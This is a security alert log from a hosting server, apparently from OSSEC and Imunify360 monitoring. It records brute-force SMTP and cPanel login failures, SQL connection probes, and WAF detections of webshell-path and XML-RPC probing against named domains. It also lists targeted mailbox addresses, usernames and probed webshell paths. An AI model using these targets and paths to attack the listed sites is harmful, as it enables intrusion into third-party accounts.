2026-02-01 16:18:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47440: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:18:18 dovecot_login authenticator failed for H=(wXbvLB2G) [178.16.54.22]:55494: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:18:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64456: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2001:4451:bf4:2e00:b4a3:2c62:1e29:8ff2
country_id: 1694008
domain: thinkcloud.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:67874.thinkcloud.com.my||ServerName:thinkcloud.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b9274c128b0053bf6b0866d1dd1cfaf5f3a7cde7||Title:0x9b267897||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.65.144.39
country_id: 2921044
description:
2026-02-01 16:18:02 dovecot_plain authenticator failed for H=([176.65.144.39]) [176.65.144.39]:62688: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.26.112.226
country_id: 3865483
domain: www.plomalite.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.plomalite.com/images/collageee-3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:19:24 dovecot_login authenticator failed for H=(ajXsW9K) [178.16.54.22]:61021: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:19:02 dovecot_login authenticator failed for H=(KRawotwg6) [158.94.208.175]:49970: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:19:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54079: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:20:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60243: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 16:20:09 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:38034: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:20:13 dovecot_login authenticator failed for H=(qBPvOzbll) [158.94.208.175]:65371: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-02-01 16:20:49 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [122.187.234.73]:44384: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 16:20:20 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:43708: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:20:26 dovecot_login authenticator failed for H=(uzqdX6I4EE) [178.16.54.22]:56197: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:20:55 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41090: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-02-01 16:21:50 +0800] info [cpaneld] 202.178.120.157 - kik! "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:21:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55570: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.245
country_id: 1814991
description:
2026-02-01 16:21:02 dovecot_login authenticator failed for H=([111.61.176.245]) [111.61.176.245]:32570: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:21:20 dovecot_login authenticator failed for H=(VqTv8JhmT) [158.94.208.175]:58050: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 16:21:20 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:38360: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.44.1.113
country_id: 1814991
description:
2026-02-01 16:21:27 dovecot_login authenticator failed for H=([182.44.1.113]) [182.44.1.113]:57468: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:21:31 dovecot_login authenticator failed for H=(lK5panrX) [178.16.54.22]:60886: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 16:21:10 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:38981: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-02-01 16:21:12 dovecot_login authenticator failed for H=([1.227.228.131]) [1.227.228.131]:36164: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:22:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50099: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.0.238.190
country_id: 3469034
description:
2026-02-01 16:22:55 dovecot_login authenticator failed for H=(177-0-238-161.bnut3703.dsl.brasiltelecom.net.br) [177.0.238.190]:50531: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.217.180.34
country_id: 1835841
domain: server.imax.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/var/www/html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.128.10.138
country_id: 1168579
description:
2026-02-01 16:22:42 dovecot_login authenticator failed for H=(203-128-10-138.braintel.net.pk) [203.128.10.138]:38622: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-01 16:23:32 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:44902: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:23:46 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51095: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:23:02 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52666: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:23:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61341: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:23:42 dovecot_login authenticator failed for H=(YFvBSCdLh) [178.16.54.22]:59513: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 16:23:08 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:9884: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:24:50 dovecot_login authenticator failed for H=(gfQvWb) [178.16.54.22]:49920: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:24:27 dovecot_login authenticator failed for H=(Gr8E1Cgcx) [158.94.208.175]:49860: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:24:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57040: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:25:10 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58376: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:25:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63185: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:25:24 dovecot_login authenticator failed for H=(3T5dC4upAC) [178.16.54.22]:58909: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.55.164.226
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=448567 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.120
country_id: 2750405
description:
2026-02-01 16:25:08 231268 [Warning] Aborted connection 231268 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.120' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:26:02 dovecot_login authenticator failed for H=(RkuNBu6) [158.94.208.175]:50092: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-02-01 16:26:31 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:49860: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:26:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52310: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:26:16 dovecot_login authenticator failed for H=(dLpv7hEp) [178.16.54.22]:51926: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.42.82.217
country_id: 6252001
description:
[2026-02-01 16:26:43 +0800] info [whostmgrd] 47.42.82.217 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.13.54
country_id: 1668284
description:
2026-02-01 16:26:46 dovecot_login authenticator failed for H=111-70-13-54.emome-ip.hinet.net [111.70.13.54]:49476: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:27:27 dovecot_login authenticator failed for H=(jMR26ShQ7B) [178.16.54.22]:57684: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.120
country_id: 2750405
description:
2026-02-01 16:27:39 231348 [Warning] Aborted connection 231348 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.120' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:27:13 dovecot_login authenticator failed for H=(ppmD3XI) [158.94.208.175]:49916: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:27:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58768: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:27:21 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50272: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:28:20 dovecot_login authenticator failed for H=(DQSqryCHy) [158.94.208.175]:62168: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:28:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60564: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:28:43 dovecot_login authenticator failed for H=(kx7XcjAgb) [178.16.54.22]:56482: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:28:47 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60564: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 16:29:56 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:44454: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:29:30 dovecot_login authenticator failed for H=(O8NMcaiRyR) [158.94.208.175]:53237: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:29:29 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55696: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-02-01 16:29:46 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:33402: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:29:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50131: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:29:17 dovecot_login authenticator failed for H=(9FFtfTE4e) [178.16.54.22]:57985: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:30:33 dovecot_login authenticator failed for H=(tsG5QE2) [158.94.208.175]:63061: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:30:46 dovecot_login authenticator failed for H=(dTu2Wyh) [178.16.54.22]:65236: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:30:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55867: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.60.12.72
country_id: 6252001
description:
[2026-02-01 16:30:10 +0800] info [cpaneld] 103.60.12.72 - maalloys "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maalloys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 16:30:39 +0800] info [cpaneld] 185.204.54.153 - kednek "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kednek (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:31:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61575: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:31:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55916: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:31:50 dovecot_login authenticator failed for H=(gQ81V0Nv) [178.16.54.22]:49225: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.60.7.195
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/speak/18/328/1848970 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:31:07 dovecot_login authenticator failed for H=(W5KfTNCl) [158.94.208.175]:65487: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 16:31:06 +0800] info [cpaneld] 185.204.54.153 - liam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user liam (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 16:32:38 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:51000: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-02-01 16:32:23 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:42869: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:32:08 dovecot_login authenticator failed for H=(FyU5lioJ1) [158.94.208.175]:51431: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/project_management.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-02-01 16:33:02 dovecot_plain authenticator failed for H=(unsfuctro) [12.150.243.22]:48544: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:32:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56693: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.188
country_id: 6252001
description:
2026-02-01 16:33:01 231508 [Warning] Aborted connection 231508 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.188' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:33:12 dovecot_login authenticator failed for H=(RWVPeX3) [178.16.54.22]:55227: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:33:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60382: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-02-01 16:33:57 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:58270: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.61.6
country_id: 290557
description:
2026-02-01 16:33:05 dovecot_plain authenticator failed for H=(mayon) [5.32.61.6]:39868: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:33:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61231: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.177.204.4
country_id: 1269750
description:
2026-02-01 16:33:25 dovecot_login authenticator failed for H=([103.177.204.4]) [103.177.204.4]:54895: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:33:42 dovecot_login authenticator failed for H=(PAFcrRTf) [158.94.208.175]:50275: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:34:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50564: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 16:34:11 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:49405: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:34:15 dovecot_login authenticator failed for H=(qx1riN09vp) [158.94.208.175]:49741: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:34:20 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50564: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:34:24 dovecot_login authenticator failed for H=(w0wwlj0nmU) [178.16.54.22]:53131: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:35:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57019: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:35:26 dovecot_login authenticator failed for H=(Yq4T7GEK) [158.94.208.175]:56112: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.205.135.110
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/meet/11/718/1153045 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:35:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43882: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:36:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51875: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 16:36:36 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:45314: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 16:37:01 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:37390: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.40.61.150
country_id: 2017370
description:
2026-02-01 16:36:10 dovecot_plain authenticator failed for H=(ek17i1kkmmlirvxtr3m) [77.40.61.150]:26781: 535 Incorrect authentication data (set_id=admin@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
